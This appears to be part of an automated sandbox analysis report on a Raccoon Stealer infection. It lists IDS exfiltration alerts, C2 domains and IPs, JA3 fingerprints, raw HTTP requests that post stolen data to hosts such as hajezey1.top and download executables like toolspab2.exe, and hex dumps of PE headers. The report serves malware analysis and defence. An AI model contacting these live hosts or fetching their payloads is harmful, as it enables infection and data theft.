Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.7:49863 -> 194.180.174.181:80
Source: Traffic	Snort IDS: 2033974 ET TROJAN Win32.Raccoon Stealer Data Exfil Attempt 192.168.2.7:49841 -> 194.180.174.181:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: iyc.jelikob.ru
Source: C:\Windows\explorer.exe	Domain query: xacokuo8.top
Source: C:\Windows\explorer.exe	Domain query: znpst.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80
Source: C:\Windows\explorer.exe	Domain query: nusurtal4f.net
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-6000.top
Source: C:\Windows\explorer.exe	Domain query: hajezey1.top
Source: C:\Windows\explorer.exe	Domain query: sysaheu90.top

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: http://xacokuo8.top/
Source: Malware configuration extractor	URLs: http://hajezey1.top/

Source: Joe Sandbox View	JA3 fingerprint: ce5f3254611a8c095a3d821d44539877
Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: global traffic	HTTP traffic detected: GET /agrybirdsgamerept HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: toptelete.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Content-Length: 132Host: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET //l/f/9Z2CynwB3dP17SpzOnMI/9f3868956801fb92fa090557a1edc6020dc838a9 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET //l/f/9Z2CynwB3dP17SpzOnMI/7af57f772c6107cc1c44807ee6e54627588ad2f9 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data, boundary=vD2tL1qC9bC3zV9eD9yX8dU8yY8lC1cVContent-Length: 1410Host: 194.180.174.181
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Content-Length: 132Host: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET //l/f/_51AzHwB3dP17SpzL5Xz/3c5ef2028f9a45f85119eb6cb39f21b264b252bf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET //l/f/_51AzHwB3dP17SpzL5Xz/3fa38023efb6f7516e4aff23353cd7c666085597 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data, boundary=vD2tL1qC9bC3zV9eD9yX8dU8yY8lC1cVContent-Length: 1398Host: 194.180.174.181

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 13:29:51 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Fri, 29 Oct 2021 13:29:02 GMTETag: "54600-5cf7dcf7c6721"Accept-Ranges: bytesContent-Length: 345600Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b5 ed f7 3e f1 8c 99 6d f1 8c 99 6d f1 8c 99 6d 9e fa 32 6d dd 8c 99 6d 9e fa 07 6d d3 8c 99 6d 9e fa 33 6d 71 8c 99 6d f8 f4 0a 6d f8 8c 99 6d f1 8c 98 6d 8f 8c 99 6d 9e fa 36 6d f0 8c 99 6d 9e fa 03 6d f0 8c 99 6d 9e fa 04 6d f0 8c 99 6d 52 69 63 68 f1 8c 99 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 83 0c 03 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 03 00 00 c0 70 02 00 00 00 00 70 c7 01 00 00 10 00 00 00 e0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 74 02 00 04 00 00 b8 a1 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 cc 03 00 64 00 00 00 00 60 73 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 73 02 88 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 bb 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 68 c7 03 00 00 10 00 00 00 c8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 e0 03 00 00 16 00 00 00 cc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 78 65 6d 75 00 00 00 e5 02 00 00 00 50 73 02 00 04 00 00 00 e2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 3c 00 00 00 60 73 02 00 3c 00 00 00 e6 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 01 00 00 a0 73 02 00 24 01 00 00 22 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 13:30:25 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Fri, 29 Oct 2021 13:30:02 GMTETag: "93000-5cf7dd3163f4f"Accept-Ranges: bytesContent-Length: 602112Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b5 ed f7 3e f1 8c 99 6d f1 8c 99 6d f1 8c 99 6d 9e fa 32 6d dd 8c 99 6d 9e fa 07 6d d3 8c 99 6d 9e fa 33 6d 71 8c 99 6d f8 f4 0a 6d f8 8c 99 6d f1 8c 98 6d 8f 8c 99 6d 9e fa 36 6d f0 8c 99 6d 9e fa 03 6d f0 8c 99 6d 9e fa 04 6d f0 8c 99 6d 52 69 63 68 f1 8c 99 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 44 2c a1 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 b2 07 00 00 c0 70 02 00 00 00 00 80 b1 05 00 00 10 00 00 00 d0 07 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 78 02 00 04 00 00 40 ca 09 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 44 b6 07 00 64 00 00 00 00 50 77 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 77 02 88 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a6 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 78 b1 07 00 00 10 00 00 00 b2 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 d0 07 00 00 16 00 00 00 b6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6d 61 6c 61 6a 65 77 e5 02 00 00 00 40 77 02 00 04 00 00 00 cc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 3c 00 00 00 50 77 02 00 3c 00 00 00 d0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 01 00 00 90 77 02 00 24 01 00 00 0c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 13:30:59 GMTContent-Type: application/octet-streamContent-Length: 916735Connection: keep-aliveLast-Modified: Wed, 01 Sep 2021 16:21:39 GMTETag: "612fa893-dfcff"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5c 00 10 0c 00 12 10 00 00 e0 00 06 21 0b 01 02 19 00 5a 09 00 00 04 0b 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 0c 00 00 06 00 00 1c 87 0e 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 c0 0a 00 9d 20 00 00 00 f0 0a 00 48 0c 00 00 00 20 0b 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0b 00 bc 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 0a 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00 00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00 00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 14 1f 01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 9d 20 00 00 00 c0 0a 00 00 22 00 00 00 9c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 48 0c 00 00 00 f0 0a 00 00 0e 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 00 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 10 0b 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 20 0b 00 00 06 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 bc 33 00 00 00 30 0b 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 d8 02 00 00 00 70 0b 00 00 04 00 00 00 0a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 d8 98 00 00 00 80 0b 00 00 9a 00 00 00 0e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 f5 1a 00 00 00 20 0c 00 00 1c 00 00 00 a8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 80 1a 00 00 00 40 0c 00 00 1c
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 29 Oct 2021 13:31:02 GMTServer: Apache/2.4.6 (CentOS) PHP/5.6.40Last-Modified: Fri, 29 Oct 2021 13:30:03 GMTETag: "d6200-5cf7dd31ce3c9"Accept-Ranges: bytesContent-Length: 877056Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b5 ed f7 3e f1 8c 99 6d f1 8c 99 6d f1 8c 99 6d 9e fa 32 6d dd 8c 99 6d 9e fa 07 6d d3 8c 99 6d 9e fa 33 6d 71 8c 99 6d f8 f4 0a 6d f8 8c 99 6d f1 8c 98 6d 8f 8c 99 6d 9e fa 36 6d f0 8c 99 6d 9e fa 03 6d f0 8c 99 6d 9e fa 04 6d f0 8c 99 6d 52 69 63 68 f1 8c 99 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ed ff a0 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 e4 0b 00 00 c0 70 02 00 00 00 00 20 e3 09 00 00 10 00 00 00 00 0c 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 7c 02 00 04 00 00 6a 61 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 e7 0b 00 64 00 00 00 00 80 7b 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 7b 02 94 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 d7 09 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 18 e3 0b 00 00 10 00 00 00 e4 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 00 0c 00 00 16 00 00 00 e8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 75 63 69 00 00 00 e5 02 00 00 00 70 7b 02 00 04 00 00 00 fe 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 3c 00 00 00 80 7b 02 00 3c 00 00 00 02 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 01 00 00 c0 7b 02 00 24 01 00 00 3e 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 13:32:12 GMTContent-Type: application/octet-streamContent-Length: 916735Connection: keep-aliveLast-Modified: Wed, 01 Sep 2021 16:21:39 GMTETag: "612fa893-dfcff"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 17 19 74 5c 00 10 0c 00 12 10 00 00 e0 00 06 21 0b 01 02 19 00 5a 09 00 00 04 0b 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 70 09 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 0c 00 00 06 00 00 1c 87 0e 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 c0 0a 00 9d 20 00 00 00 f0 0a 00 48 0c 00 00 00 20 0b 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 0b 00 bc 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 0b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f1 0a 00 b4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 58 58 09 00 00 10 00 00 00 5a 09 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 fc 1b 00 00 00 70 09 00 00 1c 00 00 00 60 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 14 1f 01 00 00 90 09 00 00 20 01 00 00 7c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 b0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 9d 20 00 00 00 c0 0a 00 00 22 00 00 00 9c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 48 0c 00 00 00 f0 0a 00 00 0e 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 00 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 10 0b 00 00 02 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 20 0b 00 00 06 00 00 00 d0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 bc 33 00 00 00 30 0b 00 00 34 00 00 00 d6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 d8 02 00 00 00 70 0b 00 00 04 00 00 00 0a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 d8 98 00 00 00 80 0b 00 00 9a 00 00 00 0e 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 f5 1a 00 00 00 20 0c 00 00 1c 00 00 00 a8 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 80 1a 00 00 00 40 0c 00 00 1c

Source: unknown

HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.7:49829 version: TLS 1.0

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bkhtxo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qucostkxtw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 204Host: hajezey1.top
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-6000.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kslrhwirq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 159Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vbyddwsgl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 247Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ckkawpd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 277Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qjhggbh.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 304Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yilaxxc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 275Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mlylmiecm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 354Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xquhxc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 134Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lnvqewf.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 367Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xpqaga.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 303Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nxvperioa.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 187Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kclljmjl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 364Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ifkorrg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 155Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uknlp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://agijcahi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: hajezey1.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fqyeks.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 162Host: hajezey1.top
